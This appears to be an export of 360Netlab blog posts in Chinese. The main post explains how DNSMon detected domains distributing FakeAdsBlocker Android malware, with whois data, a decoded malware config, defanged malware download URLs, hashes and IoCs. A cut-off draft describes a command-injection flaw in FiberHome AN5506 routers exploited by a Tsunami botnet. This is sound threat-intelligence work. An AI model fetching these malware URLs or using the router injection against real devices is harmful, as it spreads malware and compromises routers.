<!--kg-card-end: markdown--><p>以访问上面的域名为例，会下载一个名为<code>synapse_x_key</code>的APK(<code>a384b97afd0f9432a71b27fa0ccd9667</code>)，它和上文分析的样本是同源的，</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/02/ads_syna.png" class="kg-image" alt loading="lazy"></figure><p>本身是下载&加载器，主要功能是下载执行FakeAdsBlocker。</p><p>至此简单地逆向分析告一段落，这一批域名的<strong>传播目的也十分明了了</strong>，它们用于传播FakeAdsBlocker Downloader以及FakeAdsBlocker。</p><h2 id="--5">新特征</h2><p>在人工查看URL的过程中，我们注意到了一个之前没有见过的现象，就是一串完全相同的URL，不同时间随机下载样本，每次样本文件的MD5值都不一样。</p><p>比如：</p><!--kg-card-begin: markdown--><pre><code>https[:]//lisersrath.fun/?cid=f0e87e37-1bc6-4073-af71-efcc4a3eca22&tid=792297&sid1=7253754382927895919&sid2=&fn=Your%20File%20Is%20Ready%20To%20Download&uid=7253754382927895919&lp=steps
</code></pre>
<!--kg-card-end: markdown--><p>随机下载3次，文件名都是“Your File Is Ready To Download.apk”，但MD5值分别为：</p><!--kg-card-begin: markdown--><pre><code>ab2f4fde57fdcb56bce5ffa48c4d9069
21c99e0a12a7ce9dc0d91df9e29af4ad
1e55fde5540147fbfac1c8060c449c58
</code></pre>
<!--kg-card-end: markdown--><p>再次随机挑选了另一个域名试验，还是一样的现象。</p><!--kg-card-begin: markdown--><pre><code>https[:]//holidano.top/?cid=a53fd199-f207-49dc-b5d7-aea0de14eee3&tid=899546&sid1=4009887093421271163&sid2=122_15319606&fn=MobileVPN&uid=4009887093421271163&lp=blank&tit=UGxlYXNlIHdhaXQgYSBmZXcgbWludXRlcyB3aGlsZSB5b3VyIGZpbGUgaXMgYmVpbmcgZG93bmxvYWRlZC4uLgo=
</code></pre>
<!--kg-card-end: markdown--><p>文件名“MobileVPN.apk”，MD5各不相同：</p><!--kg-card-begin: markdown--><pre><code>a3ad2ba6caf05275545d65cb2e8990d4
f4316d300116fa9de72f6f0ed3d29c28
56396eae0bbafd82701399d717ff3708
</code></pre>
<!--kg-card-end: markdown--><p>受此启发，我们提取了一条新特征，以新特征在数据库里搜索，找出历史上具备同一特征的数据，比如下图的URL：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/02/06_url_md5.png" class="kg-image" alt loading="lazy"></figure><p>随后，人工对所有符合条件的历史数据进行统计分析，以确定新特征对判黑动作的贡献值大小，最后决定是否合并到DNSMon系统里。可以说，特征的积累，对DNSMon这种海量数据分析挖掘系统来说是极其重要的，正是2014年至今的6年多时间里，系统沉淀了很多的规则，才有可能从每天千亿级别的DNS流量里提取出威胁情报(域名IOC)，并向最终用户提供安全防御。</p><h2 id="--6">结论</h2><p>得益于DNS的基础性，DNSMon具备宽广的视野，能无差别的看见Linux，Windows和Android平台上发生的安全事件。而之所以具备这种能力，主要的原因是系统积累了大量的跟安全相关的特征规则。</p><p>读者请注意，不要轻易自行模仿文中的判黑过程。工业化的IoC生产不仅包括基本的判定过程，还有复杂的过滤、防止误报、反馈修正、失效保护和自动化过程。书写本文的目的是为了便于读者了解DNSMon工作的一般原理，但工业化过程中各种魔鬼细节的复杂程度，已经远非行文所能描述。</p><h2 id="--7"><strong>版权声明</strong></h2><p>本文为360Netlab原创，依据 <a href="https://creativecommons.org/licenses/by-sa/4.0/">CC BY-SA 4.0</a> 许可证进行授权，转载请附上出处链接及本声明。</p><h2 id="ioc">IoC</h2><!--kg-card-begin: markdown--><pre><code>ereusingl[.]fun
lisersrath[.]fun
predition[.]fun
ningspais[.]top
ssuminat[.]top
erefulpat[.]top
stirlinebea[.]top
utionstro[.]top
lesseased[.]top
thinkdisen[.]top
edcarefe[.]fun
holidano[.]top
ehousan[.]top
swoulder[.]fun
riemanufa[.]top
ntrealing[.]fun
</code></pre>
<!--kg-card-end: markdown--> | --- Linux，Windows，Android，一个都不能少
背景
本文是介绍DNSMon在生产威胁情报(域名IoC)系列文章的第三篇。
DNS协议作为互联网的一项基础核心协议，是互联网得以正常运行的基石之一。在祖国960万平方公里的土地上，那一张纵横交错的数据网络里，每一秒都有数万亿计的DNS数据包在高速穿梭着，它们或来自于机房的服务器，或来自于办公室的电脑，或来自于我们身边的手机，或来自于场景繁多的IoT，总之DNS无处不在。
生长于斯的DNSMon，依托DNS协议的基础性，天然具备宽广的视野，对那些发生在不同行业或不同平台的安全事件，都能有所涉猎。在DNSMon科普系列的前两篇博文中，第一篇提及的Skidmap是感染Linux平台的云主机；而第二篇提及的一组域名是网吧的Windows平台被感染后发出的；本文则是一个涉及Android平台的案例。
如果仔细阅读文章并理解其中内容，可以看到DNSMon在面对3个差异巨大的平台时，所使用的知识点或者说规则并没有根本性的变化，几乎做到了无差别预警。
对未知威胁的拦截
最近，我们注意到DMSMon从2021-01-10开始，陆续对一组结构相似的域名报黑并自动拦截。
登录系统查看采集到的关联信息，我们看到这是一组跟Android平台相关的恶意域名。正好系列文章没有介绍过跟Android平台相关的博文，而前两篇赶巧一篇跟Linux相关，一篇跟Windows有关，为科普DNSMon而写篇Android的，集齐3大平台不失为一件趣事。
扩展同类域名
利用自动拦截域名的rdata和其它数据，发现DNSMon其实不止预警了上图列举的5个域名，在这个类别里一共有16个域名。
ereusingl[.]fun
lisersrath[.]fun
predition[.]fun
ningspais[.]top
ssuminat[.]top
erefulpat[.]top
stirlinebea[.]top
utionstro[.]top
lesseased[.]top
thinkdisen[.]top
edcarefe[.]fun
holidano[.]top
ehousan[.]top
swoulder[.]fun
riemanufa[.]top
ntrealing[.]fun
从活跃时间上看，这16个域名是依次投入使用的，且在2021年1月份有一个比较密集的投放期。
在写本文的过程中，又陆续看到系统捕获到其它新的同类域名被投入使用，比如antdaugh[.]top，ngslalatfin[.]top等等，但为了行文的连贯，本文会略过这些新启用的域名。
判黑缘由
在第一篇文章里，我们提及：
DNSMon的核心在于将海量的DNS数据与360所拥有安全相关数据（包括whois，web，沙箱，蜜罐，证书等等）交叉对比，并从中分析得出威胁情报IOC。
下面我们从系统获取的whois和沙箱这两个数据出发，举例分析数据特征并注解判黑缘由。当然，除了这些数据，DNSMon的判黑流程还依赖其它的特征数据，在此就不一一列举了。
1. whois
16个域名共分成两批注册，一批注册时间为2020-11-06，另一批为2020-12-23；注册的有效期时长：一年，且开启了隐私保护。
ereusingl.fun createddate 2020-11-06 10:10:12
ereusingl.fun updateddate 2020-11-06 10:20:27
ereusingl.fun expiresdate 2021-11-06 23:59:59
ereusingl.fun status addPeriod | clientTransferProhibited | serverTransferProhibited
lisersrath.fun createddate 2020-11-06 10:10:12
lisersrath.fun updateddate 2020-11-06 10:20:20
lisersrath.fun expiresdate 2021-11-06 23:59:59
lisersrath.fun status addPeriod | clientTransferProhibited | serverTransferProhibited
predition.fun createddate 2020-11-06 10:09:51
predition.fun updateddate 2020-11-06 10:15:26
predition.fun expiresdate 2021-11-06 23:59:59
predition.fun status addPeriod | clientTransferProhibited | serverTransferProhibited
...
ningspais.top createddate 2020-12-23 15:57:59
ningspais.top updateddate 2021-01-06 10:37:20
ningspais.top expiresdate 2021-12-23 15:57:59
ningspais.top status clientTransferProhibited
ssuminat.top createddate 2020-12-23 15:58:00
ssuminat.top updateddate 2021-01-06 10:37:23
ssuminat.top expiresdate 2021-12-23 15:58:00
ssuminat.top status clientTransferProhibited
erefulpat.top createddate 2020-12-23 15:58:01
erefulpat.top updateddate 2021-01-06 10:37:24
erefulpat.top expiresdate 2021-12-23 15:58:01
erefulpat.top status clientTransferProhibited
...
批量注册+新域名+注册有效期短+隐私保护，判黑可能性加分。
2. 沙箱
DNSMon对沙箱的数据，主要是关注样本的网络行为并提取样本到域名的访问关系，然后借助样本的评分反过来评估域名的得分。从关联图可以看到，访问域名的样本在系统里都有恶意标签（样本右上角标注了“黑色圆点”）。
根据标签传播算法，16个域名判黑的可能性加分。
借助DNSMon的一系列关联数据，最终可以判定这是一组恶意域名，且性质为downloader。为了清晰样本传播目的，我们对样本进行了的简单地逆向分析。
逆向分析
本文选取一个名为Your File Is Ready To Download.apk的样本作为分析对象，它的基本信息如下所示
MD5：230ca35f90c55bf9c46ddfb7980b632d
File type：Android
Magic：Zip archive data, at least v2.0 to extract
File size：543671 bytes
样本的Assets有一个dat文件，里面存有Base64编码的的配置信息。
它的内容是：
eyJjaWQiOiIxZGZiZTAzNS1kNzViLTQzYzgtYmMwMy1kYTg5YWU5NzU1ZjYiLCJ1cmxzIjpbImh0dHBzOi8vbGlzZXJzcmF0aC5mdW4iXSwiZm4iOiJZb3VyIEZpbGUgSXMgUmVhZHkgVG8gRG93bmxvYWQiLCJpbmZvIjoiYmxhbmtfIiwicm91dGVzIjp7Ing4NiI6Ii94ODYiLCJhcm02NC12OGEiOiIvYXJtNjQiLCJ4ODZfNjQiOiIveDY0IiwiYXJtZWFiaS12N2EiOiIvYXJtIn0sInVpZCI6Ijg4ODA5ODcwOTM1NTMzMTk3MiIsInNpZDEiOiI4ODgwOTg3MDkzNTUzMzE5NzIiLCJ0aWQiOiI3OTIyOTciLCJzaWQyIjoiIn0=
Base64解码后，得到以下json格式的配置信息，可以看到"urls"字段里存有我们要定性的域名。
{
"cid": "1dfbe035-d75b-43c8-bc03-da89ae9755f6",
"urls": [
"https[:]//lisersrath.fun"
],
"fn": "Your File Is Ready To Download",
"info": "blank_",
"routes": {
"x86": "/x86",
"arm64-v8a": "/arm64",
"x86_64": "/x64",
"armeabi-v7a": "/arm"
},
"uid": "888098709355331972",
"sid1": "888098709355331972",
"tid": "792297",
"sid2": ""
}
通过以下代码片段向urls中的域名请求下载数据，
这个过程会产生如下的URL：
lisersrath[.]fun/x86?v=0.0&l=6.9&p=Y29tLmludGVuc2l2ZS5zb3VuZA==
lisersrath[.]fun/x64?v=0.0&l=6.9&p=Y29tLmludGVuc2l2ZS5zb3VuZA==
lisersrath[.]fun/arm?v=0.0&l=6.9&p=Y29tLmludGVuc2l2ZS5zb3VuZA==
那下载的到底是什么呢？以x86参数为例，下载得到一个json文件(f7e8f0aec32ceb27d5e202d4b2b50812)，它的apk字段指向一个新的APK文件(12098a59b35bcabb16bfeab887eb7f9f)。
经分析，新的APK文件隶属于FakeAdsBlocker家族，是一个隐蔽的广告程序，本文编写时，它在VT的查杀率不高，4/64。
此外，我们还发现了另外一类URL：
lisersrath[.]fun:80/?cid=c423cdff-6c1b-4052-859f-11223c65f1ad&tid=827722&sid1=3182549073271873173&sid2=1868&fn=synapse_x_key&uid=3182549073271873173&lp=blank&tit=UGxlYXNlIHdhaXQgYSBmZXcgbWludXRlcyB3aGlsZSB5b3VyIGZpbGUgaXMgYmVpbmcgZG93bmxvYWRlZC4uLgo=
以访问上面的域名为例，会下载一个名为synapse_x_key的APK(a384b97afd0f9432a71b27fa0ccd9667)，它和上文分析的样本是同源的，
本身是下载&加载器，主要功能是下载执行FakeAdsBlocker。
至此简单地逆向分析告一段落，这一批域名的传播目的也十分明了了，它们用于传播FakeAdsBlocker Downloader以及FakeAdsBlocker。
新特征
在人工查看URL的过程中，我们注意到了一个之前没有见过的现象，就是一串完全相同的URL，不同时间随机下载样本，每次样本文件的MD5值都不一样。
比如：
https[:]//lisersrath.fun/?cid=f0e87e37-1bc6-4073-af71-efcc4a3eca22&tid=792297&sid1=7253754382927895919&sid2=&fn=Your%20File%20Is%20Ready%20To%20Download&uid=7253754382927895919&lp=steps
随机下载3次，文件名都是“Your File Is Ready To Download.apk”，但MD5值分别为：
ab2f4fde57fdcb56bce5ffa48c4d9069
21c99e0a12a7ce9dc0d91df9e29af4ad
1e55fde5540147fbfac1c8060c449c58
再次随机挑选了另一个域名试验，还是一样的现象。
https[:]//holidano.top/?cid=a53fd199-f207-49dc-b5d7-aea0de14eee3&tid=899546&sid1=4009887093421271163&sid2=122_15319606&fn=MobileVPN&uid=4009887093421271163&lp=blank&tit=UGxlYXNlIHdhaXQgYSBmZXcgbWludXRlcyB3aGlsZSB5b3VyIGZpbGUgaXMgYmVpbmcgZG93bmxvYWRlZC4uLgo=
文件名“MobileVPN.apk”，MD5各不相同：
a3ad2ba6caf05275545d65cb2e8990d4
f4316d300116fa9de72f6f0ed3d29c28
56396eae0bbafd82701399d717ff3708
受此启发，我们提取了一条新特征，以新特征在数据库里搜索，找出历史上具备同一特征的数据，比如下图的URL：
随后，人工对所有符合条件的历史数据进行统计分析，以确定新特征对判黑动作的贡献值大小，最后决定是否合并到DNSMon系统里。可以说，特征的积累，对DNSMon这种海量数据分析挖掘系统来说是极其重要的，正是2014年至今的6年多时间里，系统沉淀了很多的规则，才有可能从每天千亿级别的DNS流量里提取出威胁情报(域名IOC)，并向最终用户提供安全防御。
结论
得益于DNS的基础性，DNSMon具备宽广的视野，能无差别的看见Linux，Windows和Android平台上发生的安全事件。而之所以具备这种能力，主要的原因是系统积累了大量的跟安全相关的特征规则。
读者请注意，不要轻易自行模仿文中的判黑过程。工业化的IoC生产不仅包括基本的判定过程，还有复杂的过滤、防止误报、反馈修正、失效保护和自动化过程。书写本文的目的是为了便于读者了解DNSMon工作的一般原理，但工业化过程中各种魔鬼细节的复杂程度，已经远非行文所能描述。
版权声明
本文为360Netlab原创，依据 CC BY-SA 4.0 许可证进行授权，转载请附上出处链接及本声明。
IoC
ereusingl[.]fun
lisersrath[.]fun
predition[.]fun
ningspais[.]top
ssuminat[.]top
erefulpat[.]top
stirlinebea[.]top
utionstro[.]top
lesseased[.]top
thinkdisen[.]top
edcarefe[.]fun
holidano[.]top
ehousan[.]top
swoulder[.]fun
riemanufa[.]top
ntrealing[.]fun
| {"version":"0.3.1","atoms":[],"cards":[["image",{"src":"__GHOST_URL__/content/images/2021/02/block_01.png"}],["markdown",{"markdown":"```\nereusingl[.]fun\nlisersrath[.]fun\npredition[.]fun\nningspais[.]top\nssuminat[.]top\nerefulpat[.]top\nstirlinebea[.]top\nutionstro[.]top\nlesseased[.]top\nthinkdisen[.]top\nedcarefe[.]fun\nholidano[.]top\nehousan[.]top\nswoulder[.]fun\nriemanufa[.]top\nntrealing[.]fun\n```"}],["image",{"src":"__GHOST_URL__/content/images/2021/02/sdanf_02.png"}],["markdown",{"markdown":"```\nereusingl.fun createddate 2020-11-06 10:10:12\nereusingl.fun updateddate 2020-11-06 10:20:27\nereusingl.fun expiresdate 2021-11-06 23:59:59\nereusingl.fun status addPeriod | clientTransferProhibited | serverTransferProhibited\nlisersrath.fun createddate 2020-11-06 10:10:12\nlisersrath.fun updateddate 2020-11-06 10:20:20\nlisersrath.fun expiresdate 2021-11-06 23:59:59\nlisersrath.fun status addPeriod | clientTransferProhibited | serverTransferProhibited\npredition.fun createddate 2020-11-06 10:09:51\npredition.fun updateddate 2020-11-06 10:15:26\npredition.fun expiresdate 2021-11-06 23:59:59\npredition.fun status addPeriod | clientTransferProhibited | serverTransferProhibited\n...\n\nningspais.top createddate 2020-12-23 15:57:59\nningspais.top updateddate 2021-01-06 10:37:20\nningspais.top expiresdate 2021-12-23 15:57:59\nningspais.top status clientTransferProhibited\nssuminat.top createddate 2020-12-23 15:58:00\nssuminat.top updateddate 2021-01-06 10:37:23\nssuminat.top expiresdate 2021-12-23 15:58:00\nssuminat.top status clientTransferProhibited\nerefulpat.top createddate 2020-12-23 15:58:01\nerefulpat.top updateddate 2021-01-06 10:37:24\nerefulpat.top expiresdate 2021-12-23 15:58:01\nerefulpat.top status clientTransferProhibited\n...\n```"}],["image",{"src":"__GHOST_URL__/content/images/2021/02/corr_03.png"}],["markdown",{"markdown":"> MD5：230ca35f90c55bf9c46ddfb7980b632d\n> File type：Android\n> Magic：Zip archive data, at least v2.0 to extract\n> File size：543671 bytes"}],["image",{"src":"__GHOST_URL__/content/images/2021/02/ads_asset.png"}],["markdown",{"markdown":"```\neyJjaWQiOiIxZGZiZTAzNS1kNzViLTQzYzgtYmMwMy1kYTg5YWU5NzU1ZjYiLCJ1cmxzIjpbImh0dHBzOi8vbGlzZXJzcmF0aC5mdW4iXSwiZm4iOiJZb3VyIEZpbGUgSXMgUmVhZHkgVG8gRG93bmxvYWQiLCJpbmZvIjoiYmxhbmtfIiwicm91dGVzIjp7Ing4NiI6Ii94ODYiLCJhcm02NC12OGEiOiIvYXJtNjQiLCJ4ODZfNjQiOiIveDY0IiwiYXJtZWFiaS12N2EiOiIvYXJtIn0sInVpZCI6Ijg4ODA5ODcwOTM1NTMzMTk3MiIsInNpZDEiOiI4ODgwOTg3MDkzNTUzMzE5NzIiLCJ0aWQiOiI3OTIyOTciLCJzaWQyIjoiIn0=\n```"}],["markdown",{"markdown":"```\n{\n \"cid\": \"1dfbe035-d75b-43c8-bc03-da89ae9755f6\",\n \"urls\": [\n \"https[:]//lisersrath.fun\"\n ],\n \"fn\": \"Your File Is Ready To Download\",\n \"info\": \"blank_\",\n \"routes\": {\n \"x86\": \"/x86\",\n \"arm64-v8a\": \"/arm64\",\n \"x86_64\": \"/x64\",\n \"armeabi-v7a\": \"/arm\"\n },\n \"uid\": \"888098709355331972\",\n \"sid1\": \"888098709355331972\",\n \"tid\": \"792297\",\n \"sid2\": \"\"\n}\n```"}],["image",{"src":"__GHOST_URL__/content/images/2021/02/ads_download.png"}],["markdown",{"markdown":"```\nlisersrath[.]fun/x86?v=0.0&l=6.9&p=Y29tLmludGVuc2l2ZS5zb3VuZA==\nlisersrath[.]fun/x64?v=0.0&l=6.9&p=Y29tLmludGVuc2l2ZS5zb3VuZA==\nlisersrath[.]fun/arm?v=0.0&l=6.9&p=Y29tLmludGVuc2l2ZS5zb3VuZA==\n```"}],["image",{"src":"__GHOST_URL__/content/images/2021/02/ads_json.png"}],["image",{"src":"__GHOST_URL__/content/images/2021/02/ads_vt.png"}],["markdown",{"markdown":"```\nlisersrath[.]fun:80/?cid=c423cdff-6c1b-4052-859f-11223c65f1ad&tid=827722&sid1=3182549073271873173&sid2=1868&fn=synapse_x_key&uid=3182549073271873173&lp=blank&tit=UGxlYXNlIHdhaXQgYSBmZXcgbWludXRlcyB3aGlsZSB5b3VyIGZpbGUgaXMgYmVpbmcgZG93bmxvYWRlZC4uLgo=\n```"}],["image",{"src":"__GHOST_URL__/content/images/2021/02/ads_syna.png"}],["markdown",{"markdown":"```\nhttps[:]//lisersrath.fun/?cid=f0e87e37-1bc6-4073-af71-efcc4a3eca22&tid=792297&sid1=7253754382927895919&sid2=&fn=Your%20File%20Is%20Ready%20To%20Download&uid=7253754382927895919&lp=steps\n```"}],["markdown",{"markdown":"```\nab2f4fde57fdcb56bce5ffa48c4d9069\n21c99e0a12a7ce9dc0d91df9e29af4ad \n1e55fde5540147fbfac1c8060c449c58\n```"}],["markdown",{"markdown":"```\nhttps[:]//holidano.top/?cid=a53fd199-f207-49dc-b5d7-aea0de14eee3&tid=899546&sid1=4009887093421271163&sid2=122_15319606&fn=MobileVPN&uid=4009887093421271163&lp=blank&tit=UGxlYXNlIHdhaXQgYSBmZXcgbWludXRlcyB3aGlsZSB5b3VyIGZpbGUgaXMgYmVpbmcgZG93bmxvYWRlZC4uLgo=\n```"}],["markdown",{"markdown":"```\na3ad2ba6caf05275545d65cb2e8990d4\nf4316d300116fa9de72f6f0ed3d29c28\n56396eae0bbafd82701399d717ff3708\n```"}],["image",{"src":"__GHOST_URL__/content/images/2021/02/06_url_md5.png"}],["markdown",{"markdown":"```\nereusingl[.]fun\nlisersrath[.]fun\npredition[.]fun\nningspais[.]top\nssuminat[.]top\nerefulpat[.]top\nstirlinebea[.]top\nutionstro[.]top\nlesseased[.]top\nthinkdisen[.]top\nedcarefe[.]fun\nholidano[.]top\nehousan[.]top\nswoulder[.]fun\nriemanufa[.]top\nntrealing[.]fun\n```"}]],"markups":[["strong"],["em"],["a",["href","__GHOST_URL__/use-dns-data-produce-threat-intelligence/"]],["a",["href","__GHOST_URL__/use-dns-data-produce-threat-intelligence-2/"]],["code"],["a",["href","https://creativecommons.org/licenses/by-sa/4.0/"]]],"sections":[[1,"p",[[0,[0,1],2,"--- Linux，Windows，Android，一个都不能少"]]],[1,"h2",[[0,[],0,"背景"]]],[1,"p",[[0,[],0,"本文是介绍DNSMon在生产威胁情报(域名IoC)系列文章的第三篇。"]]],[1,"p",[[0,[],0,"DNS协议作为互联网的一项基础核心协议，是互联网得以正常运行的基石之一。在祖国960万平方公里的土地上，那一张纵横交错的数据网络里，每一秒都有数万亿计的DNS数据包在高速穿梭着，它们或来自于机房的服务器，或来自于办公室的电脑，或来自于我们身边的手机，或来自于场景繁多的IoT，总之DNS无处不在。"]]],[1,"p",[[0,[],0,"生长于斯的DNSMon，依托DNS协议的基础性，天然具备宽广的视野，对那些发生在不同行业或不同平台的安全事件，都能有所涉猎。在DNSMon科普系列的前两篇博文中，"],[0,[2],1,"第一篇"],[0,[],0,"提及的Skidmap是感染Linux平台的云主机；而"],[0,[3],1,"第二篇"],[0,[],0,"提及的一组域名是网吧的Windows平台被感染后发出的；本文则是一个涉及Android平台的案例。"]]],[1,"p",[[0,[],0,"如果仔细阅读文章并理解其中内容，可以看到DNSMon在面对3个差异巨大的平台时，所使用的知识点或者说规则并没有根本性的变化，几乎做到了无差别预警。"]]],[1,"h2",[[0,[],0,"对未知威胁的拦截"]]],[1,"p",[[0,[],0,"最近，我们注意到DMSMon从2021-01-10开始，陆续对一组结构相似的域名报黑并自动拦截。"]]],[10,0],[1,"p",[[0,[],0,"登录系统查看采集到的关联信息，我们看到这是一组跟Android平台相关的恶意域名。正好系列文章没有介绍过跟Android平台相关的博文，而前两篇赶巧一篇跟Linux相关，一篇跟Windows有关，为科普DNSMon而写篇Android的，集齐3大平台不失为一件趣事。"]]],[1,"h2",[[0,[],0,"扩展同类域名"]]],[1,"p",[[0,[],0,"利用自动拦截域名的rdata和其它数据，发现DNSMon其实不止预警了上图列举的5个域名，在这个类别里一共有16个域名。"]]],[10,1],[1,"p",[[0,[],0,"从活跃时间上看，这16个域名是依次投入使用的，且在2021年1月份有一个比较密集的投放期。"]]],[10,2],[1,"p",[[0,[],0,"在写本文的过程中，又陆续看到系统捕获到其它新的同类域名被投入使用，比如antdaugh[.]top，ngslalatfin[.]top等等，但为了行文的连贯，本文会略过这些新启用的域名。"]]],[1,"h2",[[0,[],0,"判黑缘由"]]],[1,"p",[[0,[],0,"在"],[0,[2],1,"第一篇"],[0,[],0,"文章里，我们提及："]]],[1,"blockquote",[[0,[],0,"DNSMon的核心在于将海量的DNS数据与360所拥有安全相关数据（包括whois，web，沙箱，蜜罐，证书等等）交叉对比，并从中分析得出威胁情报IOC。"]]],[1,"p",[[0,[],0,"下面我们从系统获取的whois和沙箱这两个数据出发，举例分析数据特征并注解判黑缘由。当然，除了这些数据，DNSMon的判黑流程还依赖其它的特征数据，在此就不一一列举了。"]]],[1,"h3",[[0,[],0,"1. whois"]]],[1,"p",[[0,[],0,"16个域名共分成两批注册，一批注册时间为2020-11-06，另一批为2020-12-23；注册的有效期时长：一年，且开启了隐私保护。"]]],[10,3],[1,"p",[[0,[],0,"批量注册+新域名+注册有效期短+隐私保护，判黑可能性加分。"]]],[1,"h3",[[0,[],0,"2. 沙箱"]]],[1,"p",[[0,[],0,"DNSMon对沙箱的数据，主要是关注样本的网络行为并提取样本到域名的访问关系，然后借助样本的评分反过来评估域名的得分。从关联图可以看到，访问域名的样本在系统里都有恶意标签（样本右上角标注了“黑色圆点”）。"]]],[10,4],[1,"p",[[0,[],0,"根据标签传播算法，16个域名判黑的可能性加分。"]]],[1,"p",[[0,[],0,"借助DNSMon的一系列关联数据，最终可以判定这是一组恶意域名，且性质为downloader。为了清晰样本传播目的，我们对样本进行了的简单地逆向分析。"]]],[1,"h2",[[0,[],0,"逆向分析"]]],[1,"p",[[0,[],0,"本文选取一个名为"],[0,[4],1,"Your File Is Ready To Download.apk"],[0,[],0,"的样本作为分析对象，它的基本信息如下所示"]]],[10,5],[1,"p",[[0,[],0,"样本的"],[0,[4],1,"Assets"],[0,[],0,"有一个dat文件，里面存有Base64编码的的配置信息。"]]],[10,6],[1,"p",[[0,[],0,"它的内容是："]]],[10,7],[1,"p",[[0,[],0,"Base64解码后，得到以下json格式的配置信息，可以看到\"urls\"字段里存有我们要定性的域名。"]]],[10,8],[1,"p",[[0,[],0,"通过以下代码片段向urls中的域名请求下载数据，"]]],[10,9],[1,"p",[[0,[],0,"这个过程会产生如下的URL："]]],[10,10],[1,"p",[[0,[],0,"那下载的到底是什么呢？以"],[0,[4],1,"x86"],[0,[],0,"参数为例，下载得到一个json文件("],[0,[4],1,"f7e8f0aec32ceb27d5e202d4b2b50812"],[0,[],0,")，它的"],[0,[0],1,"apk"],[0,[],0,"字段指向一个新的APK文件("],[0,[4],1,"12098a59b35bcabb16bfeab887eb7f9f"],[0,[],0,")。"]]],[10,11],[1,"p",[[0,[],0,"经分析，新的APK文件隶属于"],[0,[4],1,"FakeAdsBlocker"],[0,[],0,"家族，是一个隐蔽的广告程序，本文编写时，它在VT的查杀率不高，4/64。"]]],[10,12],[1,"p",[[0,[],0,"此外，我们还发现了另外一类URL："]]],[10,13],[1,"p",[[0,[],0,"以访问上面的域名为例，会下载一个名为"],[0,[4],1,"synapse_x_key"],[0,[],0,"的APK("],[0,[4],1,"a384b97afd0f9432a71b27fa0ccd9667"],[0,[],0,")，它和上文分析的样本是同源的，"]]],[10,14],[1,"p",[[0,[],0,"本身是下载&加载器，主要功能是下载执行FakeAdsBlocker。"]]],[1,"p",[[0,[],0,"至此简单地逆向分析告一段落，这一批域名的"],[0,[0],1,"传播目的也十分明了了"],[0,[],0,"，它们用于传播FakeAdsBlocker Downloader以及FakeAdsBlocker。"]]],[1,"h2",[[0,[],0,"新特征"]]],[1,"p",[[0,[],0,"在人工查看URL的过程中，我们注意到了一个之前没有见过的现象，就是一串完全相同的URL，不同时间随机下载样本，每次样本文件的MD5值都不一样。"]]],[1,"p",[[0,[],0,"比如："]]],[10,15],[1,"p",[[0,[],0,"随机下载3次，文件名都是“Your File Is Ready To Download.apk”，但MD5值分别为："]]],[10,16],[1,"p",[[0,[],0,"再次随机挑选了另一个域名试验，还是一样的现象。"]]],[10,17],[1,"p",[[0,[],0,"文件名“MobileVPN.apk”，MD5各不相同："]]],[10,18],[1,"p",[[0,[],0,"受此启发，我们提取了一条新特征，以新特征在数据库里搜索，找出历史上具备同一特征的数据，比如下图的URL："]]],[10,19],[1,"p",[[0,[],0,"随后，人工对所有符合条件的历史数据进行统计分析，以确定新特征对判黑动作的贡献值大小，最后决定是否合并到DNSMon系统里。可以说，特征的积累，对DNSMon这种海量数据分析挖掘系统来说是极其重要的，正是2014年至今的6年多时间里，系统沉淀了很多的规则，才有可能从每天千亿级别的DNS流量里提取出威胁情报(域名IOC)，并向最终用户提供安全防御。"]]],[1,"h2",[[0,[],0,"结论"]]],[1,"p",[[0,[],0,"得益于DNS的基础性，DNSMon具备宽广的视野，能无差别的看见Linux，Windows和Android平台上发生的安全事件。而之所以具备这种能力，主要的原因是系统积累了大量的跟安全相关的特征规则。"]]],[1,"p",[[0,[],0,"读者请注意，不要轻易自行模仿文中的判黑过程。工业化的IoC生产不仅包括基本的判定过程，还有复杂的过滤、防止误报、反馈修正、失效保护和自动化过程。书写本文的目的是为了便于读者了解DNSMon工作的一般原理，但工业化过程中各种魔鬼细节的复杂程度，已经远非行文所能描述。"]]],[1,"h2",[[0,[0],1,"版权声明"]]],[1,"p",[[0,[],0,"本文为360Netlab原创，依据 "],[0,[5],1,"CC BY-SA 4.0"],[0,[],0," 许可证进行授权，转载请附上出处链接及本声明。"]]],[1,"h2",[[0,[],0,"IoC"]]],[10,20],[1,"p",[]]],"ghostVersion":"3.0"} | 6017c482d0d9b7000712ae48 |
post | null | 2021-02-02T03:20:00.000Z | 63873b9a8b1c1e0007f52f9f | a-new-tsunami-botnet-is-using-a-vulnerability-in-the-fiberhome-an5506-fiber-router-to-spread | 0 | 2021-07-08T02:28:42.000Z | public | draft | null | null | 一个新的Tsunami僵尸网络正在使用烽火通信AN5506光纤路由器的漏洞传播 | <!--kg-card-begin: markdown--><p><em>本文作者：<a href="https://twitter.com/_O_owl">马延龙</a>，<a href="https://twitter.com/zom3y3">叶根深</a>，<a href="https://twitter.com/SethKingHi">金晔</a></em></p>
<h3 id="">背景介绍</h3>
<p>2021年1月29号，360网络安全研究院未知威胁检测系统监测到攻击者正在使用烽火通信科技股份有限公司的AN5506光纤路由器的远程命令执行漏洞<a href="https://www.exploit-db.com/exploits/42947">[1]</a>，传播Tsunami僵尸网络样本。</p>
<p>此前，我们曾披露了另一起关于烽火通信路由器的安全事件<a href="__GHOST_URL__/some-fiberhome-routers-are-being-utilized-as-ssh-tunneling-proxy-nodes/">[2]</a>。</p>
<h3 id="">时间线</h3>
<pre><code>2021年2月3号，我们邮件联系烽火通信科技股份有限公司并报告了漏洞详情以及在野攻击PoC。
2021年2月7号，烽火通信联络人邮件回复该漏洞已在2017年底修复。
</code></pre>
<h3 id="">漏洞分析</h3>
<p>漏洞类型：需授权的远程命令执行漏洞<br>
漏洞描述：AN5506光纤路由器的<code>webs</code>程序在处理<code>setPing</code>请求时，<code>ping_ip</code>字段并未进行危险字符的过滤，即拼接ping或者traceroute命令，导致远程命令执行漏洞。<br>
<a href="__GHOST_URL__/content/images/2021/02/image-20210129174720173.png"><img src="__GHOST_URL__/content/images/2021/02/image-20210129174720173.png" class="kg-image"/></a></p>
<h3 id="tsunami">Tsunami僵尸网络</h3>
<p>我们看到Tsunami僵尸网络Bot样本（327aba0f852b5ba34c03032e19fa8dae）中集成了AN5506光纤路由器的漏洞利用代码，进行蠕虫式传播。该样本并没有特别之处，我们只做简要分析。</p>
<ul>
<li>
<p>随机IP生成算法<br>
